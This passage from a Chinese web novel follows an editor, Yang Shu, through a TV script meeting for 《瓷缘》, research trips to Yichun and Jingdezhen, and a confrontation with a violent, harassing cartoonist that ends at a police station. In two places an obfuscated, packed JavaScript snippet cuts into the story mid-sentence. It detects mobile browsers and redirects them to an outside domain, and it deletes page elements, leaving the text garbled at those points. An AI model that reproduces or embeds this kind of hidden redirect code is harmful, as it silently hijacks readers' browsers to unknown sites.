小说里写到,“我”的外公外婆是资本家,母亲成分不好,且不愿将就,一生未婚,“我”是母亲收养的弃婴。女主角一生命运起伏,生活里接触到的男男女女众多,但情感上没有贯穿始终的男主角,制片人认为这完全行不通。 看小说的时候,杨树完全没想过这个问题,她看这个题材不是为了看爱情故事,但从责编施严到导演都认可制片人的说法,女人戏也得有明确的男主角,不能光给观众看创业史,必须有感情线。 杨树欲言又止,被导演看到:“你说说看。” 导演执导的电视剧,杨树爸爸都看过,她对导演怀有敬仰感,回答道:“《士兵突击》是全男人戏,没有女人,也成功了。” 施严马上反驳:“男人戏男人爱看,你们女的冲着荷尔蒙也爱看,我记得当时女人讨论得热火朝天的。但女人戏没男主角,男人不看,还会赶走不少女观众。” 观众把电视剧称为剧,但影视业则称为戏,导演说:“我们这个戏,男女观众都得拢过来。” 此前三任编剧交出的大纲,都把小说里一位着墨较多的配角提升为男主角。那人家族经营茶园,他和女主角打交道多为谈生意,算是君子之交,三版大纲都给他加大戏份,变成常规的夫妻店,齐心协力干事业,但导演认为,男女感情没波折不好看。 众人探讨男主角是个怎样的人,半天没定论,姜妤说:“网文里有种结构,男强女强,情感模式是相爱相杀。” 从对家走向合作者,制片人认为未尝不可,但细想存在问题。瓷器不同于普通商品,在座的各位谁能叫出国内几大瓷器品牌?瓷器对老百姓而言,是生活用品,好看就买,因此瓷器很难形成品牌化。 杨树说:“超市有几个小牌子,但都没形成气候,大众是叫不出来。” 又讨论了半天,仍一头乱麻,制片人郁闷道:“导,实在不行就这样吧。女主独力抚养弃婴,受尽歧视和侮辱,虽然事业成功,但情感上还是走苦情路子,成分差,菩萨心。主流观众是大妈,大妈不同于年轻观众,看这戏不是冲男主去的。” 导演笑着说:“咱们这戏不是苦情剧,是正剧,你可别走偏了。” 施严说:“正剧哪能没男主,改革开放这种大题材,当然得有阳刚气,必须有分量重的男主压阵。” 制片人虽然赞成是正剧向,但对施严不客气了:“你们男的就是这样,戏里也要多吃多占,女主是商人,商人重利轻别离,怎么就不行了,非得让男主压她一头?” 施严立刻认错:“柳总,对不起,我就是想,改革开放惠及千家万户,有男有女才更能体现这个政策的包容性,面面俱到。” 施严这个说法听着也在理,两个编剧当即说:“各位老师,再给我们一点时间,我们再想想。” 制片人助理叫的下午茶送到了,分发一圈,气氛再度活跃起来。杨树还挺喜欢这种剧本会,不论对错,各有立场,但都是怀揣着一颗真心,想把事情做好。比起《天作之合》那边,她感觉在这边收获更大。 导演说:“男主的问题先放一放,我们先把框架确定好。你们谈谈打算从哪些方面改起,我听听看。” 编剧是一男一女,男编剧是主笔,女编剧说:“原著写创业很好看,环境描写和制作过程都写得特别抓人,但胜在文字好,转换成视听语言就不一定了。写剧本的话,我们不想写得太实,太实了观众也不爱看,很多老百姓还在用不锈钢盘子盛菜盛汤、用玻璃杯喝水,对制瓷兴趣不大。” 制片人说:“那倒不一定,我和你们王总收藏了不少瓷器,琳琳看到咖啡店新出的马克杯就想买。” 琳琳是制片人助理,闻言猛点头。施严说:“对餐具茶具有要求的人是不少,可他们自以为有品位,很多人都标榜不看国产剧。” 男编剧说:“原著里写的拉坯、吹釉和烧窑之类,变成电视剧可能会枯燥,我们想多花点笔墨在人物纠葛上,女主跟男主悲欢离合,跟反派斗智斗勇。” 导演摇头:“恩怨情仇当然得有,但原著吸引人的优点我们不能丢,烧造过程这些你们不用担心,我的团队会把控。瓷器是中国有代表性的器物,跟生活息息相关,在这一块我们必须做好,品质才上得去。” 制片人半开玩笑道:“这戏题材好,台里也重视,我们可是奔着拿奖去的,品相绝对要好。” 导演说:“别总是担心观众不看,我也是观众代表,我就对制瓷感兴趣,比如报废率多大,怎么才能不亏本,还有温度控制之类,难度肯定很大,不然拍卖场上的古董瓷怎么动不动就是天价?” 导演助理说:“我想知道怎么能烧出那么多好看的颜色,天青色,豇豆红,是真的好漂亮。” 姜妤说:“我对经营更感兴趣,想知道如果这个女主是我,在计划经济年代,我作坊生产的盘子杯子怎么进国营店,改革开放后,我怎么进商场专柜,怎么开店。” 原著里对这一部分也有提及,但写得不够详细,导演认为姜妤的意见很中肯,经营方面涉及到女主角和不同的人打交道,会面临很多困难,是重要看点。两个编剧一边听,一边记录,这都是他们接下来下苦功的部分。 杨树说:“我对运输环节好奇,生意要做大,从本地做到本省,做到全国,直到走出国门,如何解决易碎问题,损伤率要控制在怎么个比例内。” 杨树这个疑问,是从导演提到的报废率想到的。大学时,学校附近弄了个景德镇陶瓷展销,刚开始卖得不便宜,最后几天却是大甩卖,便宜得跟白捡似的,摊主愁眉苦脸,说亏本就亏本,起码能收回几个钱,但运回去,路费不合算。 杨树聊完这桩小事,女编剧眼睛一亮:“我想到了!男主能不能是女主的幕后英雄?苦出身,从跑货运,做到国际物流大亨。” 导演很满意,这么一来,男女主角在各自事业上有所建树,还能互相汇合,最重要的是,国内物流方面这些年的发展有目共睹,值得通过影视剧体现。 终于有男主角了,群情激昂,但新问题来了,女儿还是弃婴吗?如果不是,男女主角什么时候结婚,有这个孩子的?这在剧本大纲阶段就得明确。 又讨论了一番,导演决定遵循原著赋予的弃婴设定,毕竟女儿和生身父母那条线写得很动人,会打动观众。制片人问:“弃婴出现在什么时间段?” 导演说:“还是按原著走。而且,女主角收养了弃婴,这也是她和男主结合的阻力。八十年代,社会还比较封闭,未婚有女,男方家庭不会接受。” 杨树说:“如今其实也很难被男方家庭接受,三十多年了,我们在很多方面有进步,但思想观念进展不大。” 导演笑道:“要理解这种历史局限性嘛。” 制片人助理嘀咕道:“男人爱女人,就得突破这种思想。” 男编剧想了想:“如果男方家有病母,拗着不同意呢。” 孝字一出,大家都接受了。这点是能被观众理解的,并且一个有勇气收养弃婴的未婚女人,胸襟开阔,会理解男方。 男女主角的情感发展脉络清晰了,矛盾也有了,议题进入到反派。按原著设定,女主角有不同阶段的对立面,但按照戏剧逻辑,得有个跟男主角一样,贯穿始终的反面人物。 男编剧想把原著里女主角的好友提升为大反派,从相互依持改成她对男主角爱而不得,因此处处跟女主角作对,后期更是成了同行。施严叫好,制片人也没反对,导演思索着可行性,姜妤说:“为什么大反派就得是女人呢?” 杨树问:“为什么作恶动机就非得是出于嫉妒女主,不能是单纯地想在事业上打压对手吗?” 施严说:“观众爱看女人抢男人啊,你看《甄嬛传》,到现在还有电视台重播。” 女编剧想了一阵:“我倒觉得,女主的追求者因爱生恨,让他当大反派比较好。女二也是有尊严的,就让她纯粹做事业不行吗?” 施严反对:“女主已经一心扑在事业上了,女二还得以事业为重吗?” 制片人说:“事业女性很多啊,你看在座的,一大半是女人。” 讨论了一下午,编剧们思路都明确了,他们写与人斗,其乐无穷没障 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079216|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碍,但导演很看重“创业艰难百战多”。原著虽然在创业上写得精彩,但转为电视剧,需要更为翔实的细节,编剧希望能深入了解制瓷知识,给出到景德镇实地观摩采访的时间,免得写出来闹了笑话,影响电视剧的口碑。 《瓷缘》已被前三任编剧耽误了大半年,眼下已是8月中旬,制片人的时间节点是明年6月定稿,7月开机,剧本创作工期时间很赶。但是不给采访时间,很多剧情编织就成问题,制片人问杨树:“原著作者原意当顾问吗?” 然而,原著作者刘书云是记者出身,跑社会新闻的,不是制瓷行家。她丈夫在文联工作,生前做过一档瓷器专题纪录片,但节目时长有限,很多采访素材没用上,被刘书云当成写作素材,从而有了这个故事。 刘书云不是第一手资料当事人,以杨树一个外行的目光看不出错处,但刘书云认为自己不专业,当不了顾问,她愿意提供亡夫的工作笔记,但字迹潦草,只有她和子女辨认得清楚,所以最好是她口述,由制片人派人记录。 为了节约编剧时间,制片人把这项工作指派给杨树来做。杨树和刘书云沟通得好,编辑功底也不错,能为编剧们做好资料收集整理工作。至于杨树在策划文学室的工作,制片人几句话就和主管协调好了。 杨树打点行装去江西出差,第一站地是宜春,刘书云退休后和女儿在那里生活。丁盼兮做了几道硬菜为杨树送行,杨树看了看埋头吃肉的漫画家,他看起来再正常不过,似乎那天在冰箱前心怀狎意的人不是他,她决定回京后再和丁盼兮聊聊。 《瓷缘》是杨树在青芽图书公司公开邮箱里找到的,文学爱好者很多,但多数人的文章够不上出版发表的水平,邮箱里堆满了邮件,几乎都没被人打开阅读。有天杨树收到出版社转来的几封读者来信,都是手写的,抒发对她编辑的一部小说的读后感,其中一封信末尾写道:“我给你们邮箱投过稿,能给个回复吗?” 杨树在公开邮箱里翻出《瓷缘》,出乎意料的好,她编辑出版了这部小说。刘书云视杨树为伯乐,备下家宴,盛情款待了她,杨树送出制片人让助理准备的丰厚礼物。 编剧们正在做新版大纲,杨树和刘书云谈起那天的会议,刘书云对生造一个男主角没意见,但按照讨论内容,男主角擅长解读政策,在女主角面临困境时,能为她分析形势,屡次伸出援手,她听了不高兴:“为什么非得是男人指导女人?” 杨树拿那个夭折的《婚前三十天》举例,这两年,影视剧里男尊女卑的现象日趋明显,女主角从未自己解决困难和问题,遇事永远依赖于男主角对她无限垂怜。《瓷缘》是正剧,和它们不一样,而且女主角并未沦为男主角的附庸,她仍然是个至情至性独立的人。 刘书云问:“那为什么不能是一起碰撞出破局之道?这么写,还能写出价值观冲突。” 低级的戏剧冲突,是人物面目狰狞互扇耳光的写法,价值观冲突则是深刻的那种,这是杨树旁听剧本会的心得。可惜越深刻,越考验创作者的功力,能写好的人不多。她说:“好的,我向他们建议一下。” 刘书云理解她人微言轻:“两个人相扶相持,有商有量,是理想的情感关系,如果他们不同意这么写,至少得有女人为男人出谋划策的时候吧。” 杨树把刘书云的建议都记下来,但观众能看到的影视剧,离不开主创人员的观念。《瓷缘》的制片人柳艳是女人,但她的成功也得益于男人的扶助,那天的会议听下来,杨树感觉她有时能站在女性立场,真正发生观点碰撞时,她会向男人示弱达到目的。 一部女性家族史,被改成目前的模样,不外乎是女性当权者太少,并且她们当中的一部分,并没有改善这种状况的想法。这些话,杨树没有对刘书云直言,但刘书云记者出身,见多识广,岂有听不明白的?她闷然坐了片刻,她毕生就写了这本书,在文坛寂寂无名,影视版权卖掉了,不会再有几个人真正尊重她的创作观。 杨树轻声说:“他们也有他们的考虑,收视好了,有影响力了,您下一本才能更顺利地出版,经济上也能宽裕些。” 刘书云已在极缓慢地创作新小说,是一群桥梁工程师报效祖国的故事,预计花3年时间写完它。杨树预定届时担任编辑,她在出版界有人脉,还能做书。 刘书云拿出亡夫的采访笔记和当年的纪录片,对伯乐杨树知无不言。杨树带了录音笔,每天回酒店整理成文字,她在宜春整整待了一周,再启程去景德镇。 刘书云和女儿女婿又准备了一桌饭菜,为杨树送行。杨树很喜欢她做的雪梨肉饼汤,连喝两碗。刘书云想明白了,影视和文字是两种不同的艺术表现形式,她的所思所感,都放在小说里,《瓷缘》播出时,她也许看,也许不看。 10. 第 10 章 在景德镇,杨树看到对瓷器感兴趣的大有人在。有人原本在外企工作,大病痊愈后,大彻大悟,来到此地做茶具,他说自己受父亲影响,从小是茶痴;也有年轻设计师认为制瓷是艺术性和趣味性兼备的传统手工艺,值得传承下去;有人则是丧偶后前来画瓷,寄托情感。 杨树刚来第二天,认识一个同龄女人,她和朋友在省城南昌经营花店,每年会有几个月泡在景德镇烧制花器,她给杨树看她的最新作品,是一组多肉花盆,精美趣致。 为了直观了解瓷器诞生过程,杨树跟着花店店主玩玩泥,拉拉坯,画画瓷,亲手做了三个憨头憨脑的杯子。有的拉胚师傅、吹釉、荡釉师傅和烧窑师傅是本地人,杨树听不太懂方言,都用录音笔录下来,由花店店主帮她辨听。 各家烧造的核心秘方概不外传,杨树拿不到,但能获得很多书本上查不到的干货细节,她每天和各路匠人打交道,过得很愉快。 在青芽图书共事时,施严就爱抢功,杨树防了他一手,她把所有资料都陆续发到《瓷缘》电视剧工作群,没有单独发给他。 采访完成后,杨树坐夜间动车回京。到家是上午9点多,漫画家在卫生间冲澡,杨树在厨房洗把脸,把行李收拾出来。 漫画家前段时间交出了几幅画稿,质量不过关,章嘉敏让他修改,此后他就装死了,手机不接,网上发消息也不回。丁盼兮拿他办法,跟杨树道歉:“我发脾气闹分手,都不管用,我对不起你,我想让橘猫跟章老师解约算了,他不肯,还吵了架。” 漫画家裹着浴巾在房间玩网游,客厅里,杨树以餐桌为书桌,给他发信息:“你换身衣服,我有话跟你说。” 漫画家换了衣服,先去厨房拿喝的:“我都快睡觉了,催稿免谈哈。” 这人拖稿拖成这样,还一副死猪不怕开水烫的嘴脸,微信网页版上,杨树跟章嘉敏说:“我真是给你添大麻烦了,还不行就解约吧。” 漫画家悄无声息地出现在身后,两手撑着桌沿,把杨树整个人圈住,在她耳旁阴恻恻地问:“在说我坏话呢?” 杨树耳畔潮热,霍然站起,瞪着他:“再靠这么近,信不信我阉了你。” 漫画家哈哈一笑,当成玩笑话听:“我又不是真橘猫,你问问盼兮,她肯吗?”他说着,伸手拿起桌上的杯子把玩,“一共三个,这个是给我的吧?” 杨树见他仍是狎昵的语气,沉着脸说:“你放下!等盼兮下班回来,我该说的话都会说。现在你给我听着,给你一周时间,重新交出画稿,不然青芽就跟你解约。” 漫画家对杨树拿出他哄丁盼兮的态度,笑笑闹闹道:“还真生气了啊,我又没说不画。画画画,等我睡醒就画。” 漫画家去睡觉,杨树洗漱完毕,吃过外卖,回公司上班。她这趟出差,弄出来的资料细致周全,还经常在重要细节处备注,给出供编剧参考的建议,编剧们不止一次在群里夸她帮了大忙。 杨树重返岗位。下班路上,丁盼兮报喜:“我刚到家,橘猫正在画画,他说不能让你为难,你跟他谈过了吧,还是你有办法。” 杨树有点压抑,到家后,丁盼兮在炒菜,她去拿碗筷,漫画家走出卧室,借着拿可乐的机会,观察她的脸色。杨树板起脸:“洗手吃饭。” 杨树做的三个杯子,一个给自己,一个给丁盼兮,还有个想见面时送给章嘉敏。丁盼兮是朝夕相处的亲密朋友,但杨树和她不像跟章嘉敏那么交心,她不确定把话摊开,会不会失去丁盼兮这个朋友,但她想试试。 丁盼兮睡前做面膜,杨树把她喊进卧室,聊了漫画家对她几次骚扰。丁盼兮扯下面膜,喊漫画家到客厅,面对面说清楚。漫画家喊冤,怒骂杨树血口喷人,他拖稿是不对,但他对杨树不可能有别的想法,他把丁盼兮一搂:“盼兮能打九分,你撑死六分,这不一目了然吗,有她在,我看得上你?你少自作多情了!” 丁盼兮挣脱他,怒道:“向杨树道歉!” 漫画家也怒了:“她失恋变了态,看不得咱俩感情好,她是在挑拨离间!我绝对没招惹她,你不能上当!” 丁盼兮气得发抖:“你给我滚出去!马上搬走!” 漫画家见丁盼兮真动了怒,转而攻击杨树,自从她搬进来就没好事,若不是她自作主张让他画童书插图,他和丁盼兮不知多么和和美美。 杨树冷笑道:“我承认,是我多管闲事了。你不用再画了,我马上让青芽跟你解约。” 漫画家大怒,扑上来要扇杨树巴掌,被丁盼兮拦住,拉扯中,丁盼兮被他推到一边,膝盖撞上桌腿,疼得拧起了眉。 杨树去扶丁盼兮,被漫画家一脚踹开,丁盼兮哭着说:“你滚,你现在就滚!” 漫画家扶住丁盼兮,让她在沙发上坐好,蹲在她脚边认错,他被杨树冤枉,百口莫辩,才情绪失控,他保证会改,好好画画,也好好和杨树相处。丁盼兮咬咬唇,一指门外:“我们分手了,你现在就消失,明天一早,你到门口拿你的东西。” 杨树翻出跌打药,为丁盼兮涂抹,漫画家怔怔地站了站,回了卧室。丁盼兮坐在沙发上流泪不止,杨树眼睛有点热,多少伴侣之间矛盾再深,都是他们内部的事,就像包法利夫人和老板娘,在办公室骂丈夫骂到要离婚,如果你帮着出主意,她们一定会对丈夫出卖你,但丁盼兮相信她,再在乎漫画家,也分得清是非。 漫画家死活不走,躺在卧室床上,双手枕着头,看着天花板,不知道在想什么,丁盼兮只好去杨树卧室睡觉,她说分手分定了。漫画家侮辱了她识于微时的朋友,虽然到现在她还是很微,而且漫画家破了她的底线,她此生最恨的就是男人打女人。 小时候,丁盼兮目睹她爸打她妈,她想过,等她长大了,有力气了,要为她妈打回来。可她长大了,她妈却开导她:“别恨你爸,别人都笑他没儿子,他心情不好,不是故意的。” 少女时代,丁盼兮跟自己说过,要找个全心全意爱她的男人,她生不生孩子,也都随便她。在漫画家之前,丁盼兮也交往过几任男朋友,有人朝秦暮楚,有人恨不得马上娶她,但扬言自己喜欢孩子,也养得起,让她多生几个,还有人力邀她跟他回他的家乡,北京压力太大了。 丁盼兮大学是在北京上的,北京是她第二故乡,她不想走。在别人眼里,漫画家和她不匹配,但她倾慕他的才华,也迷恋他的情话,他爱她爱得心无旁骛,在网上都不和女孩多说半句话。 杨树的到来,打破了这些假象,同在一个屋檐下的朋友他都不放过,在那些她安然入睡,他精神抖擞的夜晚,他驰骋在网游世界,就没点什么吗?信任被打破,底线被击穿,丁盼兮说:“我明天不去上班了,非让他搬走不可。” 漫画家靠丁盼兮养,没有经济来源,杨树担心他被逼急了,会对丁盼兮动手:“我请假陪你。” 第二天两人都没去上班,但漫画家仍不肯走,吵到后来,他果然又想打人,杨树报了警。社区民警上了门,但视为家务事,言语教育了事。 僵持不下的局面让杨树头疼,但没耽误工作,又提交了一份小说评估报告,她在江西期间断断续续在看。 到了晚上,丁盼兮提议搬家,她刚和漫画家在一起那会儿,把他的社交网络从头到尾看了一遍,有个女孩和漫画家曾经互动频繁,她顺藤摸瓜看过去,确定女孩是漫画家的前女友。 刚才,丁盼兮给前女友发了私信:“我是他现任,我想分手,他不想,请问你那时是怎么做到的?” 前女友说:“他不走,我走。他是无赖,你别跟他耗。” 房租交到了年底,但破财免灾,永远是真理。丁盼兮主意打定,每天都和杨树同睡,如常去上班。漫画家只当她在冷战,如常上桌吃饭,不时还表功:“我重新画了,通过了。” 丁盼兮和杨树都不接话茬,漫画家自觉没趣,回屋打游戏。丁盼兮不睡在他身旁,他就撒开手脚了,游戏音效开得震天响。 熬到周末,丁盼兮趁漫画家白天睡觉,轻手轻脚收拾自己的衣物。这一幕让杨树想起和陈樟分手时的光景,她看出丁盼兮在难过,问:“还舍不得他?” 丁盼兮很感伤:“他好的那一面,被他自己砸了,既然他是这样的,我不要了。” 漫画家醒来看到杨树卧室里满地编织袋,又闹了一回,丁盼兮去意已决,他抱着头,失落地说他爱她,他愿意诚心忏悔,对她,对杨树。 丁盼兮和杨树都没搭理,在网上找了房子,下班后看了若干家,确定了一家,也是两居室,比这边贵一点,但离地铁站近些。 丁盼兮的服饰多,杂物也不少,杨树帮她整整收拾了两天才弄完。周日晚上,搬家公司来了,漫画家闷在卧室里没出来。杨树和丁盼兮把东西扔到新家,都累瘫了,在附近酒店开个标准间睡下了。 周一下班回新家,两人开始收拾行李,门被敲响,杨树问是谁,门外的人含糊说是快递,开门却是漫画家。杨树急忙关门,但漫画家用脚背抵着门,硬是挤进来了。杨树闻见他满身酒气,大喊:“盼兮报警!” 漫画家冷哼一声,把门踢上了:“我来看我女朋友,你报警也没用。” 丁盼兮翻包找手机,惊慌地问:“你怎么找来了?” 漫画家一个箭步冲上前,夺走她手机,塞进裤兜,仗着酒劲,把她往外拖:“别闹了,跟我回去,要么我搬过来。” 丁盼兮使劲挣着,杨树想打110,手机被漫画家踢飞,漫画家扼住丁盼兮的脖子,眼睛盯住杨树:“没你的事,你滚回房间去!” 丁盼兮被扼得咳嗽,杨树抓过拆包用的美工刀逼近漫画家,扬刀一划,在他手臂上划出一条血痕,漫画家伸脚踹杨树,杨树躲开了,再想去划他,却发现他抄起了茶几上的剪刀。 剪刀是丁盼兮拆杂物用的,她有些易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杨树怒不可遏:“我已经让人报警了,警察马上就来了,你最好住手。” 漫画家冷冷一笑:“哪有那么巧,刚才是10086吧?” 找人要抓现行,杨树决心把时间拖到警察到来,她干脆承认:“算你眼尖!你和盼兮谈吧,但我必须在场,你想跟盼兮和好,不能再伤害她。” 丁盼兮跑到沙发边,对漫画家说:“你坐餐桌那边,我在这边,好好谈谈吧,我不想和你闹到这一步。” 漫画家盯着丁盼兮,丁盼兮一双眼睛溢满泪水:“橘猫,我知道你不想伤害我,你现在是喝多了,你得冷静,我知道你是爱我的,我也爱你。” 丁盼兮说得楚楚可怜,漫画家似乎心软了,他走向餐桌,杨树快速把手机调成静音,拍下他手拿剪刀的背影,但漫画家一坐定,就一直盯着她,杨树本想暗中通过短信报警,不敢摆在明面上了。 丁盼兮开始细说从前,相识相恋的点点滴滴,听到动情处,漫画家也有些伤感,起身走向她:“别说了,都是我的错,跟我回家,盼兮,我离不开你。” 丁盼兮捂住脸,瑟缩了一下:“你把剪刀放下!” 漫画家立刻看杨树,杨树的报警短信仍没能发出去,跟他目光对峙,漫画家说:“你把刀放下!” 杨树说:“你把剪刀放下!” 漫画家说:“那就都不放,我还得跟盼兮谈。” 丁盼兮从指缝里看他:“你坐回去!” 漫画家站在原地,同时能盯住杨树和丁盼兮的举动:“盼兮,我从来没有这么爱一个人,我们之间也没矛盾,是杨树误会了。我承认,我是不该拖稿,可我这不是改了吗?不信你问杨树,我真的没拖稿了。” 杨树说:“不管是不是误会,你都得跟我道歉。” 漫画家举起一只手:“好,我道歉。” 丁盼兮说:“你能不能答应我,从今天开始,你改改懒散的毛病?” 漫画家从善如流:“改,我保证改,我都开始赚钱了,你还不信我吗?编辑说了,这套书有好几本,这次合作顺利,剩下的也都交给我画。” 丁盼兮点头:“这还差不多。等你多赚点钱,房租你也承担一些行吗?我两年没加薪了,公司年底可能会裁员,我很怕。” 漫画家不仅承诺以后百依百顺,还掏出银行卡,他第一阶段的插画稿费已到账,他是真的在发奋了,还想进军原画,多挣点钱,丁盼兮就不用出去工作了,他保证道:“只要我有钱了,我就养你,家也归我养!走吧,跟我回去。” 漫画家走向丁盼兮,丁盼兮哎一声:“等会儿!趁今天杨树也在,让她做个见证,我们约法三章。” 漫画家有点不耐烦:“不能回家说吗,路上说也行!” 丁盼兮嗔道:“这点耐心都没有,还怎么过一辈子?” 漫画家按捺性子:“好,你说。” 丁盼兮扳着手指:“首先,你作息尽量调过来,白天吵,睡不好,不能老熬夜,对身体不好。第二,不能一点家务活不干,我晾床单,你搭把手总行吧?” 丁盼兮提的条件,漫画家都应允得爽快,两人你一言我一语地说着,杨树悄然挪到了一个离大门较近的地方。当有人敲门,她冲过去开门,张口就喊:“救命!” 11. 第 11 章 来人是两个警察,漫画家已经偷偷把剪刀塞进了身后的一只纸箱里,悠然地把玩着餐桌上的一个小摆设,警察一看:“怎么回事?” 丁盼兮跑到警察身边,慌张道:“警官,这个男的闯进我们家,要杀我们!” 漫画家这才意识到丁盼兮是在拖延时间,他怒极,但警察当前,他立刻装了乖,让警察看他手臂的刀伤,指着杨树道:“是这个女的先动手!你旁边那个是我女朋友,被她煽风点火,跟我闹分手,我来找我女朋友,警察同志,我是无辜的!” 警察说:“有人报警,说你持凶器入室,你们三个,都去做个笔录。” 三人上了警车,到了社区派出所,漫画家一口咬定自己没带凶器,是杨树伤人在先。水岸天都是老小区,监控摄像头尚未安装进各单元楼道里,警察从物业提供的监控画面查不出有价值的信息,漫画家骂杨树诬告,杨树递上手机,给警察看她拍下的照片,证实漫画家用手中的剪刀对她行凶,丁盼兮脖子上的扼痕未退,也说明漫画家心怀恶意。 漫画家咬定是他喝了酒,脑子发热,本意只想挽回女朋友,绝无行凶念头,杨树建议警察调取内部资料,数天前,她和丁盼兮就因漫画家不肯搬出而报警。 上次以警察调停而告终,杨树担心警察仍把这次事件当成家务事,但凭什么两人有过恋爱关系,一方对另一方的罪行,就大事化小?她说:“我们已经是第二次被伤害了,生命遭到威胁,我们希望你们给予严惩,以绝后患。” 警察劝丁盼兮算了,漫画家是诚心挽回她,对她又专一,又有才,丁盼兮愤怒了:“你不是警察吗,他是罪犯,你怎么还帮他说话?” 杨树很失望:“我们小心行事,新家地址没向他透露半个字,可他准确地摸过来了,这人有一定的犯罪技巧,是个危险分子,你们要引起重视!” 漫画家说:“昨天你们搬家,我看到搬家公司人员的制服,知道是哪家公司,打了几个电话,发了几包烟就问到了,你别夸大其词!警察同志,我没有犯罪技巧!我这么做,完全是想挽回女朋友,情非得已!” 搬家公司随意透露客户信息,杨树恨透了,丁盼兮要求严惩不贷,警察有点火了:“说清楚了不就没事了,你们闹大,是想把人往死里弄吗?” 杨树气结:我们就活该被他弄死吗?” 丁盼兮指着脖子上的扼痕说:“他把我掐死就掐死了吗?” 漫画家连忙分辩:“我就是在气头上,没两下就放开了,警察同志,我不是故意的!” 警察仍在和稀泥:“你俩也没受伤,各让一步吧,你跟她俩道个歉,回头请顿饭。” 丁盼兮可怜巴巴地看着警察,声泪俱下:“警官,我真的很害怕,我不想下次我朋友来报警,是因为我变成尸体了。警官,我不想死,我跟这种人谈恋爱,我是傻×,但傻×也不该死,我求求你了。” 警察面对丁盼兮的泪眼,有点心软,杨树故意对丁盼兮说:“真有那天,我会告死这个王八蛋,能闹多大就闹多大,我这人不怕事,所有相关的人我都告了。” 警察大力拍桌,喝道:“你想干什么?!” 杨树直视他:“我就想恶有恶报。” 警察很烦她:“我也是为你俩好,两个女的,玉石俱焚,吃亏的还是你们。” 杨树哼道:“如果你不公事公办,我们就已经吃亏了。” 丁盼兮泪水成串掉落,泪盈盈地瞧着警察:“你结婚了吗,你女朋友被前男友掐得半死,你也算了吗?” 杨树问:“你们警察只保护自己认识的人吗?不然我发上微博,找人评评理吧。” 杨树拿起手机,警察把她的手机按在掌下,瞪起眼睛:“你想干嘛?” 杨树盯住他胸前的警牌,去记那一串警号,淡淡道:“人总得有点胆气吧。” 警察叹气,对漫画家道:“你女朋友不饶你,行政拘留5天,200元罚款,你都受着吧。” 丁盼兮失口道:“才5天?不能因为我和他谈过恋爱,你们就从轻发落。” 杨树狠狠瞪漫画家:“我给你400块,我把你打回去行不行?” 漫画家扑上来要踢她,被另一名警察带走。杨树说:“您看,我说句话这人就要打我,这还是当着你们面呢,他就是个暴力狂。” 警察说:“你们放心,我们一定严肃处理,对他进行批评教育。” 丁盼兮哀求道:“不能光是批评教育啊,我们真的吓坏了!5天真的起不到震慑作用!” 杨树说:“这是刑事犯罪!你们对他判得重些,他才能收敛,不然我和我朋友的生命依然得不到保障。” “我们一定尽力。”警察送两人出门,丁盼兮找警察要了他的私人电话,还加了微信,这样报警时能省却口舌,用最短时间说明情况。但一出派出所的门,两人都灰心得要命,都理解那些被家暴者为何不离开了,警察都这么敷衍了事,她们还能信任谁? 回家路上,杨树才顾得上看微信,漫画家闯门之前,秦朗给她发了几条信息,大意是客户的女儿在美国读导演专业,毕业刚回国,能不能拜托杨树给长夜影视递个简历。 秦朗最新一条信息问:“还好吗?我问了,派出所已经出警了,我堵在路上了,马上到你们小区。” 这人一如初相识,有侠义心肠,杨树打去电话,把情况简单地说了,跟他约在小区边上的西餐厅见面。三人都早已吃过晚饭,丁盼兮特地点了一支挺贵的红酒,让秦朗带回家喝。 秦朗有天午休,同事在看卫视最新播出的古装剧,他顺嘴说前不久认识一个做影视的朋友,这话传到上司耳朵里。上司大客户的女儿舒纹想入行,但回国两个多月,还没摸着门路。 舒纹参与拍摄的电影入围过几个独立电影节和电影展,回国投简历却得不到回音。今晚上司和客户洽谈新项目,喊上了秦朗,舒纹也在。秦朗半天没收到杨树的回复,又被上司盯着,被迫打出那个电话,却因此为两个女人解了围。 杨树以橙汁代酒,跟他碰碰杯:“你帮了我们,你这个忙,我也帮定了,不过成不成还得两说。” 隔行如隔山,影视业既讲专业经验,更讲关系资源。舒纹虽然在国外历练过,但这对她回国入行帮助不大。导演从剧本到摄制都得抓,权责很大,不可能让一个初出茅庐的人掌实权。 杨树拿《瓷缘》的黎导举例,黎导在影视业待了快40年,最早是剧务,负责车辆调配和饮食采购供应,再做到制片主任,主要在剧组做些行政工作,然后才是摄影师,B组导演,执行导演,一点点熬经验,攒人脉,才爬上来的。 秦朗问什么叫B组导演,杨树说有的剧赶进度,同时两组开拍,主角那组一般是A组,配角支线是B组,甚至C组都有,不过也有剧组把文戏和武戏分为AB组。 秦朗想了一下:“所以舒纹想入行,得从最底层做起?我看她挺心高气傲,就没别的办法吗?” 杨树笑了笑,想从事文艺工作的,有几个不心高气傲的?但是大部分人在实现梦想之前,都得做些不那么喜欢的事,军嫂笑话易无那句话也能用在这里:“跟以贩养吸似的。” 杨树说:“她家一口气投入几千万上亿让她拍戏,她就能直接当导演,但没几个人真心服她,成品未必好;要么她能带团队,你看黎导,他有固定合作的班底,服道化和摄影师什么的,他喊一声就都来了。资方找导演,是要她能组班底。” 丁盼兮只对明星八卦感兴趣,杨树聊这些,她在旁边玩手机游戏,秦朗倒是很受益匪浅的样子:“我还以为导演就是电视里演的那样,给演员讲讲这里这里怎么演,再坐在监视器面前看他们发挥得好不好。” 舒父算是有钱,但不到一掷千万,让女儿过个瘾的地步,秦朗觉得他不像这种人,而且他没能力帮女儿搭团队。杨树能为舒纹做的,无非是走内部通道递份履历表,但她在帮漫画家一事上摔了跟头,提出先见见舒纹。 秦朗跟舒纹交流了几句:“她说看你时间。” 长夜影视边上有家日本料理店,杨树让秦朗转告舒纹,明天下班在那里见面,边吃边聊。 